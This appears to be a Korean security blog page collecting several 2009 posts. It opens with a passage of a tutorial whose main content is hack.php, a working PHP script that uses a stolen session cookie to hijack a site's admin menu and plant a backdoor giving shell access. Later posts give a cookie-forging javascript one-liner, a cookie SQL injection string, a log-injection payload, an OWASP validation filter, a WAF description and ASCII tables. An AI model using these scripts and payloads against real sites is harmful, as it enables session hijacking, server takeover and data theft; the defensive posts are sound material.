-5- Admin Menu 의 include 기능을 이용하여 beist.txt 파일을 include 하도록 환경 설정
-6- 쿼리 전달

hack.php 의 소스를 만들기전에 몇가지를 알아보겠습니다. 이 공격은 Target CGI 의 구조를 파악하고 있다는 전제 하에 가능합니다. Target CGI 의 Admin 메뉴 관련 파일들을 알아보겠습니다.


[화면4] http://beist.org/~beist/auto/admin_login.html (admin login form)


admin_login.html

<html>
<head>
<title>admin login</title>
</head>
<body>
<center><br><br>
<font size=2>
beist admin login page<br><br>
<table>
<form action=admin_loginok.html method=post>
<td>ID : </td><td><input type=text name=id></td><tr>
<td>Passwd : </td><td><input type=password name=passwd></td><tr>
<td><input type=submit></td><td></td>
</form>
</body>
</html>


[화면5] http://beist.org/~beist/auto/admin_loginok.html (admin login ok)


admin_loginok.html

<?
session_start();

if($id == "admin" && $passwd == "beist")
{
$id="admin";
$passwd="beist";
session_register("id");
session_register("passwd");
echo "login ok";
}

echo("<meta http-equiv='refresh' content='0; URL=admin_menu.html'>\n");

?>


[화면6] http://beist.org/~beist/auto/admin_menu.html (admin menu)


admin_menu.html

<?
session_start();

/* Session 인증 작업. 만약 정상적인 인증이 아니라면 oh! beist 라는
메세지를 출력하고 CGI 실행을 종료한다. */

if($HTTP_SESSION_VARS["id"])
{
if($HTTP_SESSION_VARS["id"]!="admin")
{
echo "oh! beist";
exit;
}
if($HTTP_SESSION_VARS["passwd"]!="beist")
{
echo "oh! beist";
exit;
}

echo "
<html>
<head>
<title>beist admin menu</title>
</head>
<body>
<font size=2><center><br><br>
<form action=admin_menu.html method=post>
head file : <input type=text name=head><input type=submit>
</form>
</body>
</html>";

/* head는 header로 지정할 파일 이름을 가리킨다. 만약 head 변수의 값이 존재한다면,
./data/head.txt 파일을 열고 admin 이 지정한 파일을 넣는다. */

if($head)
{
$fp=fopen("./data/head.txt", "w");
fputs($fp, $head);
fclose($fp);
}

/* head.txt 파일이 존재하는지 확인한다. head.txt 파일이 존재한다면
admin 이 지정한 header 파일이 있다는 이야기이다. 그 값을 출력해준다. */

if(file_exists("./data/head.txt"))
{
$fp=fopen("./data/head.txt", "r");
$data=fgets($fp, 256);
echo "header file : $data";
fclose($fp);
}

echo "<br><br>welcome to beist world";
}
else
{
echo "oh! beist";
}

?>


이 3 개의 파일이 Admin CGI 입니다. admin_login.html, admin_loginok.html 파일은 간단하므로 설명하지 않겠습니다. 주의깊게 봐야할 파일은 admin_menu.html 파일입니다. 우리가 공격할 CGI의 Admin Menu는 header 파일을 지정할 수 있는 기능을 갖추었습니다. Target CGI 의 index.html 의 소스를 보겠습니다.


index.html

<?

/* ./data/head.txt 파일이 존재하는지 확인. 존재한다면 admin 이 header
파일로 지정한 값이 존재한다는 것이다. 해당 값을 읽고 include 시킴 */

if(file_exists("./data/head.txt"))
{
$fp=fopen("./data/head.txt", "r");
$data=fgets($fp, 256);
fclose($fp);
@include "$data";
}
else
echo "
<html>
<head>
<title>beist test target program</title>
</head>
";
?>


<body>
<center><font size=2>
<br><br><br>
this is beist test target program<br><br><br>
<a href=memo.html><font color=black>read memo</a><br>
<a href=memo2.html><font color=black>write memo</a><br>
<a href=pds.html><font color=black>pds</a><br><br>
<a href=admin_login.html><font color=red>admin login</a><br>
</body>
</html>


index.html 에서는 ./data/head.txt 의 값을 읽습니다. 그 값은 Admin 이 지정한 header 파일의 이름입니다. 그리고 include합니다. 공격을 하기 전에 정상적인 admin 으로 로그인하여 이러한 과정을 테스트 해보겠습니다.

다음과 같은 header.txt 라는 파일을 Target CGI 의 pds 에 올립니다.


header.txt

<html>
<head>
<title>beist cgi header file</title>
</head>
<center><font size=2><br><br>
Hello, everybody. this is header file!!<br><br>

파일을 업로드 한 후 admin 기능을 이용하여 header.txt 파일을 header 로 지정합니다.


[화면7] http://beist.org/~beist/auto/admin_menu.html (header 파일 지정)


이제 index.html 을 새로 고침하여 변화가 있는지 알아보겠습니다.


[화면8] http://beist.org/~beist/auto/index.html (header 지정된 index.html)

index.html 의 상단을 보면 header.txt 의 내용이 포함되어 있음을 확인할 수 있습니다.

hack.php 가 해야할 일을 여기서 간단하게 다시 정리하고 넘어가겠습니다. hack.php 에서는 Target CGI 로 연결한 후에, Admin Menu 의 header 파일 지정 기능을 이용하여, beist.txt 을 include 하도록 작업을 해야합니다.

이제 본격적으로 hack.php 의 소스를 알아보겠습니다.

hack.php

<?

/* log 파일 기록에 쓰기 위하여 현재 날짜와 시간을 정의. */

$day = date("Y.m.d", mktime());
$time = date("H:i:s", mktime());


/* 만약 cook 변수가 넘어오지 않았다면, 즉, cookie(session)값이 넘어오지 않았다면

에러 메세지를 로그 파일에 기록하고 실행을 중지시킴 */


if(!$cook)
{
$fp=fopen("/tmp/beist-error.txt", "a++");
if($url)
fputs($fp, "$day - $time : $url access\n");
else
fputs($fp, "$day - $time : $REMOTE_ADDR access\n");
fclose($fp);
exit;
}

echo "<br><br><br><center><font size=2>Automatic attack program that can use in Cookie Sniffing<br><br>";


/* url 문자열을 파싱하여, targetcgi, targetaddress, targettotal 등을 정의.

targetsession 은 cook 값. */

$total = substr($url, strlen("http://"), 100);

$use = split("/", $total);

$temp = "http://";

for($count=0;$count<sizeof($use)-2;$count++)
{
$temp .= $use[$count];
$temp .= "/";
}

$targetcgi = $temp;
$targetaddress = $use[0];
$targetsession = $cook;
$targettotal = $total;

echo "targetcgi : $targetcgi<br>";
echo "targetaddress : $targetaddress<br>";
echo "targetsession : $targetsession<br>";
echo "targettotal : $targettotal<br>";

/* 로그 파일에 기록 */


$fp=fopen("/tmp/beist-cookie.txt", "a++");
fputs($fp, "time : $day - $time\n");
fputs($fp, "address : $targetaddress\n");
fputs($fp, "session : $targetsession\n");
fputs($fp, "URL : $targettotal\n\n");
fclose($fp);

/* admin 메뉴에서 include 할 파일 정의. %2F 는 / 를 뜻함 */

$includefile = ".%2Fdata%2Fbeist.txt";

/* POST method 로 보낼 데이터. ex) head=.%2Fdata%2Fbeist.txt */

$argument = "head=$includefile";

/* POST header 에 보낼 데이터로, argument 의 길이를 저장 */

$argulength = strlen($argument);

/* header 정의 */

$httpheader=
"POST $targetcgi"."admin_menu.html HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n".
"Referer: $targetcgi"."admin_menu.html\r\n".
"Accept-Language: ko\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (atfile.com))\r\n".
"Host: 2nom.net\r\n".
"Content-Length: $argulength\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: $targetsession\r\n\r\n";

/* Target 서버의 80 번 포트에 연결. 만약 연결에 실패한다면 로그 파일에 기록 */

$sock=fsockopen("$targetaddress", 80, $errno, $errstr, 30);
if(!$sock)
{
echo "$errstr ($errno)<br>";
$fp=fopen("/tmp/beist-error.txt", "a++");
fputs($fp, "$day - $time : $targetaddress connect failed\n");
fclose($fp);
exit;
}

/* 열린 소켓으로 POST header 와 argument 를 각각 보냄. */

fputs($sock, $httpheader);
fputs($sock, $argument);
echo fread($sock, 1024);
fclose($sock);

?>

hack.php 를 만들어 보았습니다. 소스의 기능은 주석을 참고하시기 바랍니다. 이제 이 파일을 hacker 의 서버에 올려놓습니다. hack.php 의 URL 을 다음으로 가정하겠습니다.

hack.php URL - http://beist.hackerscomputer/hack.php


(5) Target ID 에게 test.txt URL 을 메모로 보내고 Target 이 test.txt 파일을 읽기를 기다림

이제 해커는 Target ID 에게 test.txt 을 메모로 보내고, Target 이 test.txt 파일을 읽기를 기다려야 합니다. 여기서는 Cookie Sniffing by Using txt extension 문서에서 설명한 방법을 이용할 것입니다. 메모를 보내는 과정은 중요하지 않으므로, 해커가 Admin 에게 다음과 같은 내용의 메모를 보냈다고 가정하겠습니다. 아래의 화면은 Admin 의 Read Memo CGI 페이지에 들어갔을 때의 화면입니다.

[화면8] http://beist.org/~beist/auto/read.html (read memo page)

(6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격

Target 이 test.txt 를 읽게되면, Cookie (Session) 이 hack.php 으로 넘어가게 될 것입니다. 우리가 위에서 만든 hack.php 프로그램은, Target Web Server 로 연결하고 CGI의 Admin Menu 에서 beist.txt 를 header file 로 지정합니다.

[화면10] Admin 이 test.txt 를 읽었을 때 상황

무엇인가 작동된 것 같습니다. hack.php 프로그램이 해커가 의도한대로 작동되었다면, data/head.txt 의 내용은 ./data/beist.txt 로 채워져 있어야 합니다. target 서버에서 직접 확인해보겠습니다.

[beist@beist auto]$ cat data/head.txt
./data/beist.txt

data/head.txt 파일이 생성되었고, 파일의 내용도 ./data/beist.txt 의 값이 된 것으로 보아 성공적으로 해킹이 이루어진 것을 확인할 수 있습니다.
(7) beist.php 를 이용하여 nobody shell 획득

header 파일이 data/beist.txt 로 지정되었으니, index.html 를 열때마다 beist.txt 파일이 include 될 것입니다. index.html 을 새로 고침하면, beist.txt 의 내용이 PHP 로 실행될 것이고, 성공적으로 실행된다면 data/beist.php 백도어 파일이 생성될 것입니다.

백도어 파일이 정상적으로 만들어졌는지 확인해보겠습니다.

[화면11] http://beist.org/~beist/auto/data/beist.php?beist=id [backdoor 파일]

id 명령어로 시스템에 명령을 내려본 결과 uid 48 의 nobody 쉘을 정상적으로 이용가능함을 확인할 수 있습니다.


4. 마치는 말

Cookie Sniffing 자동화 공격에 대해서 알아보았습니다. 이것은 엄밀히 말하자면 Sniffing과 Spoofing이 결합된 것입니다. 이 방법은 Target 의 Cookie 를 언제 빼올 수 있을지 알 수 없는 상황에서 기다려야 할 필요가 없다는 점이 효과적이지만, 그러나 단점도 있습니다. 위의 문서에서 설명한 것처럼, hack.php 에서 Target CGI 를 공격하기 위해서는 Target CGI 의 구조에 대해서 미리 파악하고 있어야 한다는 것입니다.

위의 경우에서는 CGI 의 Admin 기능 중 header file 을 정의할 수 있다는 기능을 이용하여 공격을 한 것처럼, 사람이 직접 공격하는 방식이 아닌, hack.php 에서 자동화 공격을 하기 위해서는 CGI 의 구조에 대해서 어느 정도 알고 있어야만 공격을 성공할 수 있을 것입니다. 그렇기 때문에 공개된 CGI 의 경우에는 미리 분석을 통하여 hack.php 같은 프로그램을 이용하여 자동화 공격을 수행할 수 있겠지만 그렇지 않은 경우에는 힘들 것입니다.

그렇지만 Admin 의 Password 를 바꾼다거나, 등록된 정보를 본다거나 하는 정도의 간단한 작업들은 굳이 Target CGI 의 구조를 자세히 몰라도 가능할 수 있습니다.

이 외에, Cookie Sniffing 에 성공하게 되면, 해커에게 자동으로 메일을 보내거나, 문자 메세지를 보내거나 하는 기능의 프로그램을 만들어두는 것도 좋은 방법이 되겠습니다.

마지막으로, 이 방법은 많이 사용되고 있는 특정 CGI 를 공격할 때는, 자동화 공격이 유용할 수 있겠지만, 그래도 여러가지 요소들을 따져 보았을 때 아주 효율적인 기법이라고 생각되진 않습니다. 다만, 이러한 방법으로 공격을 자동화할 수 있다는 것, 그러므로 Session 도 안전하지 못하다라는 것을 이 문서에서는 시사하고 있습니다. 또한 이 방법을 응용할 경우 Web CGI를 공격하는 웜도 쉽게 제작할 수 있을 것입니다.


2009/08/26 17:33 2009/08/26 17:33

mhtml 이 InfotechStorate 프로토콜을 이용할때 취약점을 이용한 해킹입니다

테스트해보니 지금은 보안 패치된것 같네요

하지만 이 과정을 지켜보면 웹해킹에 대한 감을 잡으실 수 있습니다 ^^

2009/08/26 17:31 2009/08/26 17:31

WebKnight는 AQTRONIX사(http://www.aqtronix.com/)에서 개발한 IIS 웹서버에 설치할 수 있는
공개용 웹 방화벽입니다.

WebKnight는 ISAPI 필터 형태로 동작하며, IIS 서버 앞단에 위치하여 웹서버로 전달되기 이전에 IIS 웹서버로 들어온 모든 웹 요청에 대해 웹서버 관리자가 설정한 필터 룰에 따라 검증을 하고 SQL Injection 공격 등 특정 웹 요청을 사전에 차단함으로써 웹서버를 안전하게 지켜주는 툴입니다


출처 한국정보보호진흥원(KISA)

2009/08/26 17:30 2009/08/26 17:30

How to add validation logic to HttpServletRequest

From OWASP

Jump to: navigation, search

Overview

In a Java EE application, all user input comes from the HttpServletRequest object. Using the methods in that class, such as getParameter, getCookie, or getHeader, your application can get "raw" information directly from the user's browser. Everything from the user in the HttpServletRequest should be considered "tainted" and in need of validation and encoding before use.

So it would be nice if we could add validation to the HttpServletRequest object itself, rather than making separate calls to validation and encoding logic. This way, developers would get some validation by default. This article presents an approach to building validation into the HttpServletRequest object so that it is mandatory for developers to use the validated data.

Most projects have an "allow everything" approach to validation. What we want is a Positive security model that denies everything that's not explicitly allowed. So using this approach, you can start your project with a very restrictive set of allowed characters, and expand that only as necessary.

Approach

We're going to use a Java EE filter to wrap all incoming requests with a new class that extends HttpServletRequestWrapper, a utility class designed for just this type of application. Then all we have to do is override the specific methods that get user data and replace them with calls that do validation before returning data.

The first thing to do is to create the ValidatingHttpRequest. Note that this class calls a new custom method named "validate" that throws a ValidationException if anything goes wrong. You can do a lot in the validate method, including encoding the input before it's returned to the application.


   public class ValidatingHttpRequest extends HttpServletRequestWrapper {
      
       public ValidatingHttpRequest(HttpServletRequest request) {
               super(request);
       }
      
       public String getParameter(String name) {
               HttpServletRequest req = (HttpServletRequest) super.getRequest();
               return validate( name, req.getParameter( name ) );
       }
      
       // Danger - you can optionally allow getting the raw parameter
       public String getRawParameter( String name ) {
               HttpServletRequest req = (HttpServletRequest) super.getRequest();
               return req.getParameter( name );
       }
      
       ... follow this pattern for getHeader(), getCookie(), etc...        
      
       // This is a VERY restrictive pattern alphanumeric < 20 chars
       // It's easy to make this a parameter for the filter and configure in web.xml
       private Pattern pattern = Pattern.compile("^[a-zA-Z0-9]{0,20}$");
      
       private String validate( String name, String input ) throws ValidationException {
               String canonical = canonicalize( input );  // always canonicalize first
               if ( !pattern.matcher( canonical ).matches() ) {
                       throw new ValidationException( "Improper format in " + name + " field";
               }
               return HTMLEntityEncode( canonical );
       }
      
       // Simplifies input to its simplest form to make encoding tricks more difficult
       private String canonicalize( String input ) {
               String canonical = sun.text.Normalizer.normalize( input, Normalizer.DECOMP, 0 );
       }
      
       // Return HTML Entity code equivalents for any special characters
       public static String HTMLEntityEncode( String input ) {
               StringBuffer sb = new StringBuffer();
               for ( int i = 0; i < input.length(); ++i ) {
                       char ch = input.charAt( i );
                       if ( ch>='a' && ch<='z' || ch>='A' && ch<='Z' || ch>='0' && ch<='9' ) {
                               sb.append( ch );
                       } else {
                               sb.append( "&#" + (int)ch + ";" );
                       }
               }
               return sb.toString();
       }
      
   }

Then all we have to do is make sure that all the requests in our application get wrapped in our new wrapper. It's easy to implement with a Java EE filter.


   public class ValidationFilter implements Filter {
       public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
               chain.doFilter(new ValidatingHttpRequest( (HttpServletRequest)request ), response);
       }
   }

To add the filter to our application, all we have to do is put these classes on our application's classpath and then set up the filter in web.xml.



  <filter>
     <filter-name>ValidationFilter</filter-name>
     <filter-class>ValidationFilter</filter-class>
  </filter>
      
  <filter-mapping>
     <filter-name>ValidationFilter</filter-name>
     <url-pattern>/*</url-pattern>
  </filter-mapping>

Now all requests will go through the filter, get validated, and throw an exception if there's a problem. You'll want to set up a handler for ValidationExceptions, so that they get handled properly. If ValidationException extends SecurityException, and you've set up a handler for SecurityException that logs out users who try to hack, you'll be well on your way to a secure application.

2007-04-02 22:19:53
2009/08/26 17:29 2009/08/26 17:29

+ Indicates a space (spaces cannot be used in a URL). %20
# Indicates bookmarks.     %23
% Specifies special characters.    %25
& Separator between parameters specified in the URL. %26
/ Separates directories and subdirectories.  %2F
? Separates the actual URL and the parameters.  %3F


Char(1)
Char(2)
Char(3)
Char(4)
Char(5)
Char(6)
Char(7)
Char(8)
Char(9) 
Char(10) 
Char(11) 
Char(12) 
Char(13) 
Char(14)
Char(15)
Char(16)
Char(17)
Char(18)
Char(19)
Char(20)
Char(21)
Char(22)
Char(23)
Char(24)
Char(25)
Char(26)
Char(27)
Char(28)
Char(29)
Char(30)
Char(31)
Char(32) 
Char(33) !
Char(34) "
Char(35) #
Char(36) $
Char(37) %
Char(38) &
Char(39) '
Char(40) (
Char(41) )
Char(42) *
Char(43) +
Char(44) ,
Char(45) -
Char(46) .
Char(47) /
Char(48) 0
Char(49) 1
Char(50) 2
Char(51) 3
Char(52) 4
Char(53) 5
Char(54) 6
Char(55) 7
Char(56) 8
Char(57) 9
Char(58) :
Char(59) ;
Char(60) <
Char(61) =
Char(62) >
Char(63) ?
Char(64) @
Char(65) A
Char(66) B
Char(67) C
Char(68) D
Char(69) E
Char(70) F
Char(71) G
Char(72) H
Char(73) I
Char(74) J
Char(75) K
Char(76) L
Char(77) M
Char(78) N
Char(79) O
Char(80) P
Char(81) Q
Char(82) R
Char(83) S
Char(84) T
Char(85) U
Char(86) V
Char(87) W
Char(88) X
Char(89) Y
Char(90) Z
Char(91) [
Char(92) \
Char(93) ]
Char(94) ^
Char(95) _
Char(96) `
Char(97) a
Char(98) b
Char(99) c
Char(100) d
Char(101) e
Char(102) f
Char(103) g
Char(104) h
Char(105) i
Char(106) j
Char(107) k
Char(108) l
Char(109) m
Char(110) n
Char(111) o
Char(112) p
Char(113) q
Char(114) r
Char(115) s
Char(116) t
Char(117) u
Char(118) v
Char(119) w
Char(120) x
Char(121) y
Char(122) z
Char(123) {
Char(124) |
Char(125) }
Char(126) ~
Char(127) �

MSSQL : CHAR(숫자)

ORACLE : CHR(숫자)


---------------------------------------------------
char(0) = �
char(1) =
char(2) =
char(3) =
char(4) =
char(5) =
char(6) =
char(7) =
char(8) =
char(9) =
char(10) =
char(11) =
char(12) =
char(13) =
char(14) =
char(15) =
char(16) =
char(17) =
char(18) =
char(19) =
char(20) =
char(21) =
char(22) =
char(23) =
char(24) =
char(25) =
char(26) =
char(27) =
char(28) =
char(29) =
char(30) =
char(31) =
char(32) =
char(33) = !
char(34) = "
char(35) = #
char(36) = $
char(37) = %
char(38) = &
char(39) = '
char(40) = (
char(41) = )
char(42) = *
char(43) = +
char(44) = ,
char(45) = -
char(46) = .
char(47) = /
char(48) = 0
char(49) = 1
char(50) = 2
char(51) = 3
char(52) = 4
char(53) = 5
char(54) = 6
char(55) = 7
char(56) = 8
char(57) = 9
char(58) = :
char(59) = ;
char(60) = <
char(61) = =
char(62) = >
char(63) = ?
char(64) = @
char(65) = A
char(66) = B
char(67) = C
char(68) = D
char(69) = E
char(70) = F
char(71) = G
char(72) = H
char(73) = I
char(74) = J
char(75) = K
char(76) = L
char(77) = M
char(78) = N
char(79) = O
char(80) = P
char(81) = Q
char(82) = R
char(83) = S
char(84) = T
char(85) = U
char(86) = V
char(87) = W
char(88) = X
char(89) = Y
char(90) = Z
char(91) = [
char(92) = \
char(93) = ]
char(94) = ^
char(95) = _
char(96) = `
char(97) = a
char(98) = b
char(99) = c
char(100) = d
char(101) = e
char(102) = f
char(103) = g
char(104) = h
char(105) = i
char(106) = j
char(107) = k
char(108) = l
char(109) = m
char(110) = n
char(111) = o
char(112) = p
char(113) = q
char(114) = r
char(115) = s
char(116) = t
char(117) = u
char(118) = v
char(119) = w
char(120) = x
char(121) = y
char(122) = z
char(123) = {
char(124) = |
char(125) = }
char(126) = ~
char(127) =
char(128) = €
char(129) = 
char(130) = ‚
char(131) = ƒ
char(132) = „
char(133) = …
char(134) = †
char(135) = ‡
char(136) = ˆ
char(137) = ‰
char(138) = Š
char(139) = ‹
char(140) = Œ
char(141) = 
char(142) = Ž
char(143) = 
char(144) = 
char(145) = ‘
char(146) = ’
char(147) = “
char(148) = ”
char(149) = •
char(150) = –
char(151) = —
char(152) = ˜
char(153) = ™
char(154) = š
char(155) = ›
char(156) = œ
char(157) = 
char(158) = ž
char(159) = Ÿ
char(160) =  
char(161) = ¡
char(162) = ¢
char(163) = £
char(164) = ¤
char(165) = ¥
char(166) = ¦
char(167) = §
char(168) = ¨
char(169) = ©
char(170) = ª
char(171) = «
char(172) = ¬
char(173) = ­
char(174) = ??
char(175) = ¯
char(176) = °
char(177) = ±
char(178) = ²
char(179) = ³
char(180) = ´
char(181) = µ
char(182) = ¶
char(183) = ·
char(184) = ¸
char(185) = ¹
char(186) = º
char(187) = »
char(188) = ¼
char(189) = ½
char(190) = ¾
char(191) = ¿
char(192) = À
char(193) = Á
char(194) = Â
char(195) = Ã
char(196) = Ä
char(197) = Å
char(198) = Æ
char(199) = Ç
char(200) = È
char(201) = É
char(202) = Ê
char(203) = Ë
char(204) = Ì
char(205) = Í
char(206) = Î
char(207) = Ï
char(208) = Ð
char(209) = Ñ
char(210) = Ò
char(211) = Ó
char(212) = Ô
char(213) = Õ
char(214) = Ö
char(215) = ×
char(216) = Ø
char(217) = Ù
char(218) = Ú
char(219) = Û
char(220) = Ü
char(221) = Ý
char(222) = Þ
char(223) = ß
char(224) = à
char(225) = á
char(226) = â
char(227) = ã
char(228) = ä
char(229) = å
char(230) = æ
char(231) = ç
char(232) = è
char(233) = é
char(234) = ê
char(235) = ë
char(236) = ì
char(237) = í
char(238) = î
char(239) = ï
char(240) = ð
char(241) = ñ
char(242) = ò
char(243) = ó
char(244) = ô
char(245) = õ
char(246) = ö
char(247) = ÷
char(248) = ø
char(249) = ù
char(250) = ú
char(251) = û
char(252) = ü
char(253) = ý
char(254) = þ
2009/08/26 17:29 2009/08/26 17:29

Log Injection



log injection이란 sql injection처럼 파라미터를 통해 로깅을 조절하는 방법을 말합니다


보통 웹 어플리케이션에서 log4j 등을 이용해 파일에 로깅을 합니다

일반적으로는 장애 발생시 에러 추적을 위해 사용됩니다

하지만 데이터 유실시 복구 방침으로 로깅을 하기도 하고요, 그냥 말 그대로 그냥 로깅을 하기도 하지요 또한 로그 파일을 파싱하여 무언가 통계를 내기도 합니다(웹CRM)


일반적으로 로그인에 대한 로깅을 파일에 다음과 같이 합니다 (로그인예가 아니더라도..)

String userid = request.getParameter("userid");

...

if (로그인성공)

    log.write("User login succeeded for : " + userid);

else

    log.write("User login failed for : " + userid);


로그가 정상적으로 기록된다면 아마 다음과 같은 형태가 될겁니다

User login succeeded for : guest

User login succeeded for : admin


그렇다면 로그인시 다음과 같은 문자열을 입력했으면 어떻게 될까요?

guest\nUser login succeeded for : admin

그럼 로그 결과는 다음과 같이 출력됩니다

User login succeeded for : guest

User login succeeded for : admin

User login succeeded for : admin

붉은색 부분이 사용자가 입력한 부분이죠


여기서는 간단한 예를 들었습니다만 여러가지면으로 활용이 가능할 겁니다

로깅파일을 100% 신뢰할 수 없다는 것이지요 ^^

2009/08/26 17:28 2009/08/26 17:28

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트

Web Hacking 4탄 쿠키취약점



말도많고 탈도많은 쿠키!! 어떻게 사용하면 잘사용 하는걸까요?

앞으로 나오는 document.cookie등은 자동으로 "no_"앞에 가 붙습니다

Unicorn3에서 보안상 필터링하게 되어있기 때문입니다 앞에 "no_"가 없는것으로 간주하시면 됩니다


쿠키취약점

쿠키로 인증하는 사이트에 접속하여 로그인한 후 쿠키값 확인을 해봅니다

javascript:alert(document.cookie)


로그인 하지 않은 상태라면 다음과 같이 세션 아이디만 나오게 되며



로그인 한 상태라면 다음과 같이 쿠키이름과 쿠키값을 쌍으로 정보가 출력됩니다




관리자 아이디가 goodbug 라고 가정하고 이 아이디로 조작하기 위해서는 다음과 같이 입력합니다

javascript:a=prompt(document.cookie,"");alert(document.cookie=a)

그럼 프롬프트창이 하나 나타나며 이 부분에 다음과 같이 입력합니다



어떤 쿠키이름이 아이디를 나타내는 것일까요?

몇가지 없으니 가장 유력한 이름부터 하나씩 해보면 됩니다

UID=goodbug


다시 javascript:alert(document.cookie) 를 통해 쿠키값을 확인합니다


UID가 goodbug로 변경이 되었습니다

즉 내계정을 통해 goodbug로 로그인한것과 동일한 효과를 가져왔습니다!!

만약 쿠키로만 인증하는 방식이라면 타계정의 접속이나 관리자 화면으로 쉽게 들어갈 수 있습니다



 쿠키를 이용한 SQL Injection

쿠키를 이용하여 일반 로그인 화면이나 관리자 화면을 통화할 수 있습니다

SQL Injection이 어느정도 알려졌기 때문에 로그인 폼으로 부터 넘어온 아이디나 비밀번호 정보들을

일정 값들로 치환하는 경우를 볼 수 있습니다

즉 '나 ", -, \ #등의 SQL Injection에 활용되는 문자들을 무력화 시키곤 합니다

하지만 이역시 쿠키 SQL Injection을 통해 간단히 통과할 수 있습니다


마찬가지 방법으로 자신의 계정으로 로그인 하여 쿠키를 생성 한 후 다음과 같이 값을 변경합니다

UID=goodbug' or 1=1 --

관리자 화면은 화면마다 아이디를 이용해 인증을 할것입니다

하지만 이 관리자 아이디를 쿠키로 읽어온다면 아마 많은 허점이 생길겁니다

보통 쿠키로 부터 읽어온 값은 '나 --등은 체크하지 않죠

그래서 인증 관련된 부분은 항상 "특정문자를 치환+Statement" 보다는 "PreparedStatement"를 사용해야 합니다



 쿠키취약점 보안 및 결론

 -. 쿠키에 값을 구울때는 그 값을 "암호화" 하여 저장하고, 다시 읽어올때는 "역암호화"하여 사용합니다

 -. 로그인시에 IP도 쿠키에 같이 구워버리고, 데이터베이스에도 저장하며, 항상 실제 아이피와 비교하여 사용합니다

 -. 쿠키는 웹서버가 클라이언트에 남겨놓은 정보입니다

     그래서 쿠키는 클라이언트가 마음대로 조작하는것이 가능하기때문에 서버는 어떤일이 일어나는지 검사해야 한다는 것입니다


ps. 대형사이트에서는 IDS에 걸릴수 있으니 주의하세요


=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

2009/08/26 17:28 2009/08/26 17:28